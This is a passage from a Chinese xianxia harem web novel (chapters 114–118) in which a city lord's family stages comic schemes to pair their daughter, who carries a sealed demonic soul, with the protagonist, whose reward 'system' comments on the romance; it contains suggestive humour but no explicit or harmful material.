《道侣飞升跑路,我薅哭全宗女修》 第114章 炼丹大会藏玄机,头奖竟是美娇娘 “影儿是说,公子应当向前看。” 柳如烟含着笑,替女儿解释道。 季清晚紧随其后,“姐姐意思是,她可以当替补!” “……” 季清影羞恼地瞪了眼妹妹。 意思是这个意思,可没必要说出来啊。 慕长歌失笑摇头,看来季家大小姐这猎人是做定了,连他有道侣这种事都不介意了。 不过他也清楚,季清影这么做,更多的是为了能够觉醒自身体内的上古丹魂传承。 “季城主,我看这天风城中颇为热闹,可是要举办什么盛会?” 慕长歌放下酒杯,目光转向季飞鹰。 季飞鹰眼中精光一闪,“不错,后天正是炼丹比试大会。” “道友也看到了,魔门已然将手伸到了我们这座城,单凭天风城一己之力,恐难抵挡。” 他放下酒杯,神色转为凝重,“不瞒道友,举办这场盛会,乃是为了团结各方势力。” “可否说来听听?” 慕长歌指尖摩挲着酒杯。 季飞鹰点头,“此次盛会前来参加之人,都是年轻一代的翘楚,他们身后或多或少有些背景,胜者将会获得某样奖品。” “这个奖品或许就是我。” 季清影接过话,看到自己老爹给她眼神示意,她却视若无睹,反而笑吟吟地往慕长歌身边凑了凑。 那纤纤玉指,点在桌面上画着圈,“公子可想提前知道奖品的功效具体如何?” 她眼波流转,那双杏眸里荡漾着盈盈水光,身子稍微前倾时,衣领不经意间滑落几分,露出一截雪白的脖子。 “倘若公子好奇,我们不妨....私下探讨?” 说话间,她的指尖顺着桌面滑向慕长歌手背,在即将碰触到时,又灵巧地转了个弯,勾起一缕自己的发丝。 这欲擒故纵的小动作,配上她上扬的眼尾,将女人的妩媚,展现得淋漓尽致。 季飞鹰那叫一个额头青筋暴跳,这丫头平日里端庄自持,可今日一见到这小子就跟变了个人。 即便心中有意,那未免太失了礼数。 “影儿!” 他低声警告,正要发作,被柳如烟一把按住。 季清影恍若未闻,反而变本加厉。 她单手托腮,另一只手扯了扯慕长歌的衣袖。 “公子以为如何?” 她眨眼的频率恰到好处,既不会显得刻意,又能让长睫投下的阴影,在脸颊上轻轻颤动,平添几分楚楚动人的韵味。 慕长歌挑眉,这丫头倒是把欲拒还迎玩得炉火纯青。 “季姑娘这般厚礼,令人难以拒绝。” 他沉吟片刻,才慢斯条理地道,“只是在下对丹道所通无几,只凭皮毛无法夺得头筹,怕是让姑娘失望了。” 季清影神色掠过惊喜,她只是随意试探,没想到竟有意外收获。 这位实力超群的公子,果然懂丹道,能培养出这样的弟子,他身后的势力绝对不容小觑。 她强压住内心的雀跃,故作镇定地抿了一口酒,“公子过谦了,清影不才,有些炼丹造诣。” 她指尖摩挲着酒杯边缘,红唇勾起诱人的弧度,“倘若公子不嫌弃,我愿与公子探讨一二。” 最后四个字说得极轻,带着些暧昧的尾音。 慕长歌忽然倾身向前,温热的呼吸洒在她耳畔,“能得姑娘指点,倒是三生有幸。” 他声音低沉磁性,让季清影耳尖一阵酥麻。 “只是....” 慕长歌停顿片刻,勾起一抹玩味的笑,“不要太深入。” 季清影一怔,还没反应过来,就听他继续道。 “我怕姑娘吃不消。” 他的蠢几乎贴上她的耳垂,“毕竟,我只是比较长....于其他门道,其他方面并不精通。” 慕长歌突如其来的反击,让她措手不及,不小心打翻了面前的酒杯,琼浆玉液洒了一桌。 “我、我去换酒!” 她仓皇起身,裙摆带起一阵香风。 慕长歌从容地抿了口酒,眼中笑意更甚。 这丫头撩人时很大胆,被反撩一下就溃不成军。 道行还是浅了些。 嗯,不能怪他。 有几个女人碰上他,算得上不浅呢? “叮!恭喜宿主攻略气运之女季清影,攻略进度60%,获得气运值返还2000点。” “恭喜宿主获得额外奖励,青鸾灵剑(地阶上品)。” 慕长歌脑海中闪过系统提示,嘴角微扬。 “影儿无礼,万望道友莫要在意。” 柳如烟适时起身,含笑说道,“天色已晚,不如我让人送公子去客房休息可好?” “有劳夫人。” 慕长歌从容起身,拱手致意。 一位绿衣侍女立刻上前引路,“公子请随我来。” “影儿这丫头,实在有些不像话。” 季飞鹰负手而立,脸色黑如锅底,又无奈地叹了口气,“这丫头一向懂事,可今晚....丢尽了脸!” “爹!” 季清晚突然插嘴,一脸天真无邪,“大哥哥说什么了,为什么姐姐脸那么红啊?” “小孩子别多问。” 柳如烟连忙捂住小女儿的嘴。 想到慕长歌那句,她又忍不住红了脸,并偷偷看了眼季飞鹰。 季飞鹰挑了挑眉,又尴尬地咳了几声。 自家夫人这眼神是几个意思? 不一会儿,他们身后传来了脚步声,季清影走了回来。 她手中并无拿着酒壶,方才不过是为自己逃脱找个借口,以此悄悄回了趟房间,换了套贴身衣物。 “爹!” 季清影来到季飞鹰身后。 季飞鹰沉默无言,被柳如烟扯了扯衣袖,这才回过身。 他颇为无奈的道,“影儿,你到底想干什么啊,为父知道你喜欢他,可也不能...” “父亲可知道女儿体内的上古丹魂,能够与他取得共鸣?” 季清影一脸凝重,仰头看着窗外的月色,“我若没猜错,他见到我的第一眼,就已然发现了我的非比寻常。” “什么?” 季飞鹰瞳孔骤然收缩,“这是我季家守护千年的秘密,他怎会一眼就...难道他也是为了上古丹魂而来?” “未必。” 月光在她那精致的侧脸投下淡淡阴影。 转过身,裙摆如水波般荡漾,“但我想,他出手相助天风城,必然与上古丹魂有关。” 说到这里,她唇角不自觉地扬起一抹浅笑,“而且,女儿感受得到,他对我们并无恶意。” 季飞鹰眉头紧锁,在厅内来回踱步。 “影儿,你可知这意味着什么,若他真能引动上古丹魂...” “爹,这不正是我们等待许久的契机吗?” 她指尖轻抚眉心,那里浮现出一朵青莲印记,“自从遇见他,女儿体内的丹魂,就从未如此活跃过。” 那悬挂于高空之上的月亮,似乎映刻着慕长歌俊美的轮廓。 也让她看到他的第一眼起,内心深处就烙印上这个男人的印记。 季清晚不解道,“姐,那你为何还要让他知道,炼丹大会的头筹大奖,有可能是你?” “你不懂。” 季清影微微一笑,“眼看着越要得到的东西,忽然间有可能又要失去,他才会感受到紧张。” 第115章 夜风送香入客房,见证者已就位 “怪不得陈长老说你是竹筛子做锅盖,浑身是眼。” 季清晚一边咂嘴,一边感叹,“真想问一句活得累不累,做人简简单单多好,该吃吃该喝喝,遇事不往心里搁。” “我若如你这般,又谈何守护天风城?” 她确实羡慕妹妹,有谁不想活得简单一些。 可这是修真界,弱肉强食。 自身不具立足的根基,早晚会成为他人手中的玩物。 “姐姐辛苦,姐姐伟大。” 季清晚撇了撇小嘴,听到这些她头疼,没一会儿就离开了。 走之前,她眼眸流转,看似盘算着什么。 季飞鹰挥手布下一道隔音结界。 “影儿,你可知这上古丹魂的真正来历,又为何只有你能承载?” 望着女儿摇头,他指尖轻点,一道青光在厅内勾勒出古老阵纹。 又从怀中取出一枚青铜令牌,上面刻着繁复的丹鼎纹路。 “三千年前,我季家先祖季无尘乃是渡劫期丹道大能。” 季飞鹰的声音低沉而肃穆,“正魔大战时,先祖与魔道一位大能,血煞魔尊决战于九幽之巅。” 柳如烟轻抚女儿的发丝,接着道,“那一战打得天崩地裂,先祖虽将魔尊斩杀,却被魔气侵染神魂。” “临终前....” 季飞鹰眼中闪过痛色,“先祖以毕生修为,将魔尊残魂镇压,与自身精魄熔炼为一,化作青冥魂珠。” “那为何?” 她想问这丹魂为何会选中她。 “这丹魂中蕴含两种截然相反的力量。” 季飞鹰苦笑一声,“唯有先天丹心,与先祖的能量最为契合,才能更好地压制那股魔性,三千年来,我季家血脉中只出过两位。” “你姑姑就是第一位先天丹心。” 这位向来坚强的城主夫人,此刻声音有些发颤,“在你刚出生的那一年,恰好丹魂反噬,然后...” 嗡! 季飞鹰掌心的青铜令牌闪过一团灵光,紧接着化成一方小鼎。 他铁拳紧握,紧盯着那鼎,“这就你姑姑死后,所化的地阶极品至宝,青玉丹炉!” 轰! 季清影如遭雷击,踉跄后退。 她竟然没想到,上古丹魂的真正来历,居然是这样。 那她岂不是随时有可能会死。 而且天魔门想得到上古丹魂,应当不是为了传承,又是为了什么,这丹魂中有什么是值得那些魔道之人在意的? 魔气本源! 对了,一定是魔气本源! 想到这,季清影美眸又瞪大了几分。 这次天魔门失手,是碍于慕长歌的缘故,可为了丹魂中的魔气本源,魔道之人绝不会善罢甘休。 季飞鹰叹了口气,“为父这些年,想尽了各种办法,就是无法从你体内取走魂珠,相反,它与你的生命气息紧紧相接。” 他突然抬头,眼中迸发着希望之光,“直到今日,你说那慕公子竟能引动丹魂共鸣,这说明。” “他能彻底炼化魔尊残魂?” 季清影脱口而出。 季飞鹰微微颔首,“为父尚且不知,但可以确定,所谓的丹魂共鸣,实际上就是那缕魔魂,所产生的惧怕,它怕那位慕公子。” “影儿!” 他猛地抓住女儿的肩膀,眼中迸发出前所未有的光彩,“他既能引动丹魂异动,体内必有克制魔尊残魂的力量!” 季飞鹰激动地发颤,“这或许是你唯一的生机!” 柳如烟也快步上前,紧握她的手。 “影儿,你爹这些年寻遍各种能人异士,甚至研制各种丹药都无济于事,如今...” 她眼中含泪,“这慕公子,恐怕就是上天派来救你的。” 季飞鹰再度深吸一口气,神色变得无比郑重。 “影儿,为父不管你用什么办法,一定要....” 话到此处,这位向来威严的城主,竟有些难以启齿。 “一定要牢牢抓住他!” 柳如烟替代他接过话头,眼中闪烁着母亲特有的决绝,“哪怕...哪怕用些非常手段!” “娘!您说什么呢...” 季清影俏脸绯红,跺脚娇嗔。 “傻丫头!性命攸关,还顾什么矜持!” 季飞鹰直拍大腿,额头上的青筋跟着暴了起来,心里还泛着嘀咕。 先前还跟个女妖精似的往人家身上贴,这会儿倒装起大家闺秀来了,不是要急死他这个当爹的吗! “那女儿,该怎么做才好?” 季清影绞着衣袖,羞答答地不敢抬头。 那城主张了张嘴,又闭上,来回踱了几步,像个热锅上的蚂蚁。 他偷瞄了眼夫人求助,柳如烟只是掩嘴轻笑,一副你自己看着办的表情。 “其实,也没什么特意要注意的。” 季飞鹰尴尬地咳了几声,终于憋出一句,他挠了挠头,眼神飘忽,“就、按照你之前的表现来,稍微....嗯...收敛点就好...” 说完他自己都觉得这话说得很没水平,一张老脸臊得通红。 季清影顿时羞得直跺脚,脸蛋红得似是熟透的桃子,“爹爹,您取笑人家,不理你了!” 季飞鹰看着女儿落荒而逃的背影,无奈地摇头叹气,这时身后传来噗嗤一声轻笑。 “夫人!” 他转过身,挑起眉头,“你还笑!这话本该由你来说才是!” “说什么?” 柳如烟优雅地翻了个白眼,红唇轻启,“教导女儿要收敛点?” 她凑近丈夫,眼中闪动着狡黠之光。 “似是慕公子这般惊才绝艳的如意郎君。” 她玉指轻轻点在季飞鹰胸口,“用什么手段得到都不过分~” “……” 季飞鹰一愣,又哭笑不得。 柳如烟挑眉,“怎么?当年某些人,还不是被我迷的...” “咳咳咳!” 他连忙干咳打断,老脸通红,“夫人慎言,慎言!” “不过话说回来,夫君觉得这位慕公子是何身份?” 望着柳如烟掩嘴轻笑,眼波流转间尽是风情,季飞鹰连忙将视线从她身上移开。 “能够培养出这等天资绝艳之才,北域之内,除了那个势力,我想不到其他的。” “你是说...” 柳如烟面露询问的眼神,而后两人异口同声,“碧霄宫!” 随后他们相视一笑,转而听到外面传来哎呀一声惊呼。 夫妻二人急忙冲了出去,季清晚揉着屁股,从花丛里爬了起来。 “啊!爹,娘,你们好啊!” 看着季飞鹰阴沉的脸色,她讪笑,“我在找我的簪子,看,找到了!” 她从怀里掏出一枝簪子晃了晃,却是往客房方向跑。 季飞鹰正要训斥。 柳如烟将他拉住,“让她去吧,有些事...多个见证也好。” 似乎是这么个道理。 “夫人可要去?” 季飞鹰背对着她,故作深沉,“你觉得是女儿的命重要,还是体统重要?” 他转回身,眼前空空如也。 “咦?人呢!” 第116章 垂怜之言刚出口,丈母娘就破门入 清幽阁内。 月光透过窗棂洒落一地银辉。 慕长歌立于窗前,轻抚着血煞剑的剑身,眼中若有所思,“系统,那上古丹魂究竟是何来历?” “叮!经检测,丹魂为季家先祖以残余神魂封印魔魂,彼此融合所成,当前魔魂压制力已失去78%。” “季清影剩余寿命预估,三个月15天,建议宿主尽快营救。” 慕长歌眉头微蹙,也就是说,那丫头体内的传承,有一份是魔魂,难怪他总觉得有些不对。 这也就说得通,天魔门为何会对季家虎视眈眈,他们真正想要的,是那缕魔魂本源之力。 而那缕魔魂必然是过往的大能,对于这点慕长歌深信不疑。 那丫头之所以成为载体,就是所谓的丹魂传承,感受到一股契合的力量,因此进入季清影体内,以她的躯体镇压魔魂。 嗡! 血煞剑再次有了感应,发出轻微的嗡鸣。 慕长歌指尖一顿,似有所感,目光看向窗外,那血煞剑却是被他收进了储物戒。 “这丫头,深夜造访,难道是知道了自己的真实情况?” 慕长歌看着那道由远及近的身影,转而回到床前,闭目盘坐。 “叮!检测到猎物自动上门,对方意在拿下宿主,已为宿主开启欲擒故纵辅助功能!” 慕长歌一愣,这系统又在搞什么花样? 话音未落,房门被轻敲了几下,得到他的回应后,门下的那道倩影吱呀一声推开了房门。 季清影端着一个铜盆站在外面,在身后月光笼罩下,一袭月白纱裙将她衬得肌肤如雪,且多了几分仙子气。 “公子还未歇息就好。” 她声音很轻,低着头走进屋内。 月光透过窗纱,在她精致的锁骨上,投下斑驳光影。 铜盆搁在桌上,水面泛起细微涟漪,“我打了些热水,作为公子洗漱之用。” “姑娘太客气了。” 慕长歌起身,烛火在他轮廓分明的侧脸上跳动,“这些事让下人来做岂不更好?” “下人粗心大意,怕怠慢了公子。” 她指尖划过铜盆边缘,抬起头时,眼中水光潋滟,“清影也想...亲自服侍公子...” 话至此处,她耳尖已红得滴血,“莫非公子嫌弃?” 慕长歌正要回答,忽见季清影眉心印记一闪,她一声轻呼,手中巾帕滑落。 弯腰去捡时—— 嗤啦! 纱裙后摆勾住了桌角,季清影晃乱中一个踉跄,整个人向前扑去。 慕长歌箭步上前,揽住她的纤腰,谁知季清影慌乱间伸手一抓。 哗啦! 方才那飞起的整盆热水,刚好当头浇下。 “唔...” 她僵在慕长歌怀里。 月白纱裙被水浸透,紧紧贴在肌肤上,曲线毕露,更糟糕的是... “公、公子....” 她声音发颤,“你的手...” 慕长歌这才发现,自己的右手,正稳稳地托在那挺翘的臀瓣上。 左手...好巧不巧拿捏住某个柔软。 最要命的是,季清影的柔荑,抓着他胸前衣襟,将本就单薄的里衣扯开了大半,露出精壮的胸膛。 两人以这样的姿势,呆滞了片刻。 直到窗外传来咔嚓一声脆响。 “谁!” 慕长歌转头,窗纸上映出个鬼鬼祟祟的小身影。 季清晚趴在窗边,手里拿着半块啃了一半的灵果。 “我、我什么都没看见!” 小丫头慌乱的声音传来,“你们继续,继续!” 脚步声咚咚咚地远去,屋内留下一片死寂。 季清影浑身发烫,她轻咬着下唇,做了一个大胆的决定,藕臂环上慕长歌的脖子,吐气如兰,“公子....现在没人打扰了...” 话音稍落,门外不远处,就传来老娘柳如烟,以及季清晚被扯住耳朵痛呼的声音。 “臭丫头,不是让你去休息么,你偷偷跑来这做什么,非礼勿视懂不懂,我教你的规矩,全被你个死丫头给吃了?” “娘!我冤枉啊,我没想到姐姐他们在....” “臭丫头,还说,看我不打死你!” 慕长歌听到声音渐渐远去,眼角狠狠一抽。 好家伙! 这季家组团来碰瓷是吧? 他低头看了看怀中湿透,凸显着曲线,又满脸羞红的季清影,顿悟了。 这特么是全家总动员来给他下套。 脸呢! 你城主府的脸呢! 用这种手段你们可臊得慌! 慕长歌暗自咬了咬牙,也不想冤枉了季清影,说不定她真的不小心摔倒,打翻了水盆,这才冲进他怀里,来了个全身湿透。 “系统,可是你干的?” 毕竟先前提醒过他,开启了什么辅助模式。 系统的回答,让他嘴角抽了又抽。 “叮!宿主莫要冤枉好统,本统什么都没做呢。” 那贱兮兮的声音在他脑海中响起。 慕长歌刚松口气,就听系统又道,“现在开始!” 嗖! 他储物戒中的天机葫芦突然飞出,葫芦口青光一闪—— 唰! 季清影身上的湿衣,瞬间被吸了个精光。 她惊呼一声,雪白娇躯在烛光下泛着莹润光泽。 又慌乱转身,玉背蹦出一道优美的弧线,纤细腰肢下,是令人血脉喷张的曲线。 “公子这样,是否过于直接了?” 她耳尖红得滴血,纤细手指紧张地绞在一起,“至少我们先要逐步,慢慢来才是....” “……” 慕长歌生无可恋地,望着半空中欢快旋转的天机葫芦。 解释? 说不是自己干的? 这丫头能信? 狗系统! 老子高大伟岸的形象,全让你给毁了! “叮!恭喜宿主攻略气运之女季清影,攻略进度60%,获得气运值返还2000点!” “恭喜宿主获得额外奖励,打情鞭(打在她身,爱在你心)” 慕长歌正想骂系统,给他这个做什么! 就手心一沉。 一条赤红如火的软鞭,已然被他握在手里,鞭柄缠绕着金丝,尾端还缀着个精巧的小铃铛。 叮铃! 清脆的铃音在寂静的屋内格外刺耳。 季清影恰好回头,杏眸瞪得贼圆,她脸颊绯红,娇羞开口,“公子还准备了这个?” 不是! 你听我说,这真不是我准备的啊! 这踏马的,系统可真会搞活,他就是说了,在眼见的事实与铁证面前,谁能信? 他现在很想把系统和鞭子,一起塞进天机葫芦里摇匀了倒掉。 对了,衣服! 慕长歌心神赶紧勾连天机葫芦,那葫芦一阵抖动,噗地吐出一团干爽衣物。 他手忙脚乱地接住,轻咳一声,“那个,夜晚天凉....其实我是在帮你...甩干...” 慕长歌露出一抹憨笑,硬着头皮将衣物递了过去,同时收起另一只手里的地阶灵宝,打情鞭! “公子真有趣。” 她接过衣物时,指尖都在颤抖,闻言却是噗嗤一笑。 随后,她眉眼弯弯,竟不再遮掩,就这么当着他的面,慢条斯理地穿衣。 “这种方式倒是别致。” 穿戴整齐后,季清影娇滴滴的,往僵硬了的慕长歌怀里钻了钻。 “只是我与公子已如眼下这般,清影就是公子的人了。 她手指不安分地在他胸口画着圈圈,“还望公子日后,多加垂怜。” 季清影指尖闪烁起一团灵光。 下一秒。 就要熄灭房间内的烛火。 砰! 房门被撞开! 季清晚一个趔趄摔了进来,身后跟着没收住脚的柳如烟。 第117章 全家组团来碰瓷,演技拙劣现原形 “哎呀!” 季清晚一个狗啃泥,摔在慕长歌脚边,抬头正对上姐姐杀人般的目光,小丫头眼珠一转,捂住了眼睛。 “我瞎了,什么都没看见!” 她手指缝却张得能塞进个鸡蛋。 柳如烟更绝,直接昏倒在门槛上,动也不动,手里死死攥着个留影石,这玩意可能把画面记录下来。 “季夫人,你们这是?” 慕长歌现在很想把这一家子,打包塞进天机葫芦里当肥料。 这母女俩齐刷刷扑倒在地的场面,姿势标准的可以去演碰瓷教学视频。 “娘!妹妹!” 季清影羞愤欲死,慌忙从慕长歌怀里跳开,“你们!” “姐,你们继续,我们真的什么都没看见!” 季清晚一个鲤鱼打挺站起身,顺手从怀里掏出个小本本,边写边念叨着,“城主千金夜会情郎纪实,有图有真相!” “死丫头,你给我!” 季清影当然知道她们这么做的目的,可这也太尴尬了。 刚想去揪季清晚的耳朵,她就看到柳如烟悠悠转醒,演技浮夸地揉着太阳穴。 “哎呀,老毛病又犯了,慕公子见谅。” 说着就要起身,留影石却不小心从手里滚了出来,恰好掉在了慕长歌脚边。 那玩意儿咕噜转着圈,上面清晰记录着方才的画面,季清影衣衫半解,慕长歌手里还攥着那条打情鞭。 场面一度寂静。 似乎只有一阵冷风划过。 半晌后,季清晚呆滞地问,“娘,接下来怎么办?” “啊,我又晕了。” 扑通! 柳如烟又是一个超高技术的栽倒在地。 望着所有人的目光看向了自己,季清晚娇躯一颤,露出一抹憨笑,“那个...我也晕了!” 她趴在了柳如烟身前,两人脑袋对着脑袋,一动不动。 慕长歌看着这拙劣的表演,从储物戒里掏出一把瓜子,站在趴在地上的季清晚身前,淡定地磕了起来。 咔嚓! 咔嚓! 清脆的声响,在寂静的屋内格外刺耳。 地上装死的母女俩偷偷睁开一只眼。 “娘...” 季清晚小声嘀咕,“他咋不按套路出牌呢?” “闭嘴!继续装!” 柳如烟从牙缝里挤出几个字。 季清影尴尬地站在原地,她看了看磕着瓜子,似笑非笑瞥向她的慕长歌,又看了看躺尸的娘俩,窘迫到想找个地缝钻下去。 福至心灵—— “啊!我也晕了!” 眼下这场面,也就只有装死了。 她往慕长歌身上倒,哪料被他一个侧身躲了过去。 扑通! 季清影结结实实地砸在了妹妹身上。 “嗷!” 季清晚被压得直翻白眼,“姐,你该减肥了!” 柳如烟还在顽强装死。 慕长歌叹了口气,从床上扯下被子,盖在三人身上。 “晚安。” 他转身就走。 刚踏出房门,就听见身后传来激烈的讨论。 “都怪你!演技太假了!” “明明是你倒下去的姿势不对!” “娘!别装了,留影石都掉了,还有必要吗?” 慕长歌拎着一壶酒,坐在凉亭下,仰头望月,突然很想念水月那个丫头。 至少...她碰瓷的时候,演技还是不错的。 慕长歌仰头灌了口酒,余光瞥见房门外三条毛毛虫,蠕动着往外爬。 柳如烟打头阵,季清影居中,季清晚殿后。 三人裹着被子,像条花色斑斓的巨蟒,扭动着往外挪。 “娘,我们为什么要这样爬?” 季清晚小声嘀咕。 “嘘!” 柳如烟压低声音,“这样他就看不见我们了!” “……” 慕长歌默默转了个方向,假装欣赏月色—— 给这家人留点最后的尊严吧。 三人组终于蠕动到院门口。 “成功了!” 季清晚欢呼。 啪! 柳如烟一巴掌拍在她头上,“小声点!” 三人正要起身—— “贤婿啊,我来了,哈哈哈哈.....哈?” 季飞鹰的声音从拐角处传来,他掐着时间,手里拎着个食盒,里面放着特殊的宵夜。 可看到眼前的场景,又跟那三条毛毛虫大眼瞪小眼,一同僵住。 这....什么个情况? 慕长歌瞥了他一眼,淡定举杯,“月色不错,贵府还养了条会蠕动的锦被,有趣。” 季飞鹰:“……” 被子里的三人组:“……” 这....太尴尬了... 莫名想逃是怎么回事? 季飞鹰感觉自己做了丹城的城主之后,几辈子没这么尴尬过了。 可没想到,被子猛地一抖。 “啊!” 是季清晚的尖叫,“姐姐你踩我手了!” “闭嘴!” 季清影羞恼的声音响彻开来,“谁让你突然抽手的!” “跑!” 柳如烟当机立断。 三条毛毛虫瞬间解体,裹着被子跌跌撞撞往外冲。 “砰!” “哎呦!” “我的腰!” 一阵鸡飞狗跳后,院门口只剩下几片飘落的被角。 “慕公子,这个....” 季飞鹰举着食盒的手微微颤抖。 不是? 这就走了? 他怎么办? 季飞鹰茫然地眨着眼,不是要拿下这小子的么,这跟预想中的局面相差太大了吧? 慕长歌诚恳地笑了笑,“城主大人,您家的锦被...挺活泼的。” 季飞鹰老脸通红,快步来到凉亭前,把食盒往慕长歌手里一塞。 “聘礼!” 他转身就跑,速度快到如同一阵风。 “???” 慕长歌打开食盒,里面整整齐齐码着。 一叠地契、 三把库房钥匙、 还有季清影的庚帖。 最底下那一格又压了张字条。 “贤婿啊,这丫头我们养不起了,你赶紧领走吧!” “……” 慕长歌扶额一叹。 这家人...绝了! 翌日。 金色的阳光透过云层,洒在清幽阁的庭院中,晨露未干的花草,散发着清新香气,几只灵雀在枝头欢快地鸣叫着。 咚咚咚! 急促的敲门声,打破了宁静。 “慕公子!不好了!” 侍女的俏脸带着惊慌,“大小姐忽然不适,城主请您过去看看!” 吱呀! 房门打开。 慕长歌眉头微蹙,“怎么回事?” “奴婢不知,大小姐今早突然就...” 她红着脸低下头,“总之很不对劲!” 慕长歌心中一凛,莫非是上古丹魂中的魔魂在作祟? 他在侍女的引路下,快步向着季清影的闺房赶去。 刚到院门口,就听见里面传来一声娇媚入骨的呻吟。 “嗯~好热....好难受...帮帮我...谁来帮帮我...” 慕长歌脚步一顿,这声音....怎么听着不太对劲? 推开门,眼前的景象让他呼吸一滞。 季清影只穿着一件薄如蝉翼的纱衣,斜倚在床榻上,青丝凌乱,香汗淋漓。 纱衣被汗水浸透,紧贴在玲珑有致的娇躯上,若隐若现的曲线,令人血脉喷张。 “公子....” 她抬起水雾迷蒙的眸子,伸出纤纤玉手,“帮帮我...只有你能救我了...” 说话间,纱衣系带不知何时松开,露出大片雪白的肌肤。 她似乎浑然不觉,反而扭动着腰肢,将完美的曲线展露无遗。 慕长歌则紧皱着眉头,他意外的发现,这丫头的修为精进了一阶,已然提升到金丹七阶。 只是眉心处似有黑气萦绕,显然是那魔魂在作祟。 可怎么会这样? 那压制魔魂的季家先祖残魂,力量突然减弱了些。 “叮!检测到魔魂即将暴走,建立宿主立即镇压,否则气运之女将有殒命之危!” 嗡! 慕长歌正要出手,储物戒内传来两股悸动。 一股来自血煞剑,一股来自打情鞭,只是不知为何,血煞剑的悸动片刻停止,倒是打情鞭自动飞出。 啪! 一鞭子狠狠抽在了季清影的背脊上。 第118章 丹房秘事惊雷现,晚儿原是丹药成 出乎意外的是,季清影竟然发出一声舒爽的叹息,不但嘴里喊着舒服,还让慕长歌继续。 这他么什么情况? 此番操作给慕长歌搞得有些不会了,这丫头有什么受虐倾向? 当季清影媚眼如丝地趴在床上,乞求他用力继续打时,慕长歌发现了不对。 尽管那打情鞭依旧拥有自我意识般地落下,也隔着那单薄的衣料,在她那光滑的脊背上,留下道道红痕。 可那些红痕,又以很快的速度消失不见,倒是每一鞭子落下,她眉心的黑气就淡了一分。 慕长歌突然明悟,原来这鞭子还能这么用。 “啊...公子...我感觉好些了...你、继续...” “嗯~就是那里....” 季清影闺房内,不断传出令人面红耳赤的声音,伴随着清脆鞭响。 守在院门口的侍女听得双腿发软,脸颊滚烫,她攥着裙角,心跳快到几乎蹦出胸口。 “咳!” 一道威严的声音从身后响起,吓得她绷紧了身子。 她慌忙行礼,不敢抬头。 季飞鹰点了点头,再次清了清嗓,“那个...进去多久了?” 侍女的脸,唰地红到了耳朵根。 有些不知城主大人说的进去,指的是什么。 可她反应不慢,连忙道,“回城主,慕公子进屋已有一刻钟。” 她越说声音越小,最后几个字几乎变成了气音。 “那个...你下去吧。” 季飞鹰板着脸挥手,嘴角控制不住地上扬,“切记,此事不可声张,否则本城主绝不轻饶!” “是!” 侍女如蒙大赦,提着裙摆一溜烟跑没影了。 就是给她十个胆子,她也不敢声张啊。 这真的是,太残暴了,她觉得自己活到死,也忘不了今早的事,但很有必要,选择性去忘记。 季飞鹰背着手在院门口来回踱步,时不时地往房门方向张望,听到里面的动静,老脸笑得跟朵菊花似的。 约莫半个时辰后,房门吱呀一声打开。 慕长歌背负着手走了出来,一抬头就对上了季飞鹰那张笑得牙不见眼的老脸。 “贤婿啊!” 季飞鹰一个箭步冲上前,热情地抓住他的手,“你我跟女儿她,呃...我是说那个治疗效果如何?” 他搓了搓手,眼睛直往屋里瞟。 慕长歌瞥着他。 这老狐狸分明是来验收成果的。 “令爱已无大碍。” 慕长歌淡定地整了整衣袖,“我只是暂时压制住了那股邪恶之气,而且此次治疗方式比较特殊。” “特殊好啊!” 季飞鹰一拍大腿,笑得更加灿烂,“年轻人就该勇于尝试新鲜事物。” “季城主不介意就好。” 望着季飞鹰刚要兴奋地回话,他似笑非笑,“其实也没什么,也就是打了她九十九鞭子,将那股邪恶之气打散了而已。” 季飞鹰闻言愣了愣。 这似乎不是他预想中的那种治疗,这怎么行? 如此说来,他女儿依旧会被魔魂反噬。 不行! 一定要拿下这小子,毕竟他和夫人还有赌约在呢。 “那个,贤婿啊。” 季飞鹰一脸讪笑,笑得更加热情,“虽是如此,我女儿终究是个未出阁的姑娘,你看这事是不是要?” 他差点说出让慕长歌负责,且不日在城主府完婚这句话。 如此一来,他不但赢了与夫人之间的赌约,还能跟慕长歌身后的那座超然势力粘连上关系。 慕长歌颇为无奈地道,“没想到我走过最长的路,就是你这城主府的套路。” 在治疗季清影的那一刻起,他就察觉到了不对,但到底是救人要紧,也就没想太多。 直到季清影身上的魔气被打散,他稍作思考,已然明了城主府的算计,可不得不说,为了留下他,对方甚至走了一步险棋。 季清影之所以提升了实力,是源于炼化了一部分季家先祖的残魂之力,对此魔魂自然有所反弹。 而要救人,就必然实施那种灵力交融之法,由他沉浸心神,彻底泯灭魔道那缕残魂。 季飞鹰被拆穿后,尴尬地摸了摸鼻子,干笑道,“贤婿说笑了,我们哪有什么套路,看我的眼睛,真诚!” 房门再次打开。 季清影换了一身淡青色长裙走了出来,脸色红润,她冲着季飞鹰盈盈一礼。 “爹,女儿没事了,让您担心了。” 她眼角余光忍不住往慕长歌身上瞟了瞟。 “诶,这可多亏了贤婿!” 季飞鹰眉开眼笑,“这样,明日就是炼丹大会,趁着今日休息,你和贤婿出去逛逛,散散心,不必急着回来!” “既是爹爹之命,女儿怎敢违抗~” 她脸上飞起两朵红晕,低垂着眼帘,纤纤玉指绞着衣角,偷偷抬眼,水汪汪的眸子望向慕长歌。 “我会带慕公子,好好领略一下咱们天风城的风光。” 顿了顿,她唇角含笑,透亮的红唇,在阳光下反射着迷人的光芒,“不知公子可愿,让清影陪伴一二?” 慕长歌看着这对父女一唱一和,心中暗叹。 这演技,不去戏班子真是屈才了。 “季姑娘盛情,在下却之不恭。” 他拱手一笑道,“不过在下对丹道也有些兴趣,不知去丹塔一观可否方便?” “妙啊!” 季飞鹰拍手叫绝,“丹塔顶层可是影儿你闭关的地儿,在那里绝对不会有人...” “爹!” 季清影娇嗔的瞪了眼父亲,“您不是有公务要处理吗?” “啊对!” 季飞鹰一拍脑门,“贤婿啊,你们慢慢逛,我想起还有重要的公文没有批!” 他一溜烟地跑没影,速度快到令人咋舌。 季清影这才松了口气,转身对慕长歌笑着伸出手,极具大家闺秀,优雅之典范,“公子请随我来。” 她莲步轻移,领着慕长歌往府外走去。 刚转过回廊,就不小心踩到裙摆,整个人往后倒去。 惊呼声中,慕长歌顺手揽住她的纤腰。 季清影靠在他怀里,扬起小脸,眼中满是狡黠,“公子又救了我一次呢。” “季姑娘,你再这样平地摔,我可要用打情鞭了。” 慕长歌满脸无奈。 就这碰瓷技术,绝对是家传的! 谁知季清影闻言,不但不惧,反而眼睛一亮。 “真的吗?” 她转过身,背对慕长歌,“那公子轻点。” “……” 这丫头是不是觉醒了什么奇怪的属性。 “叮!检测到气运之女好感度突破70%,获得2000点气运值返还!” 系统再次提醒,“建议宿主趁热打铁,以长风几万里,吹度玉门关之势,破城门,攀高地!” 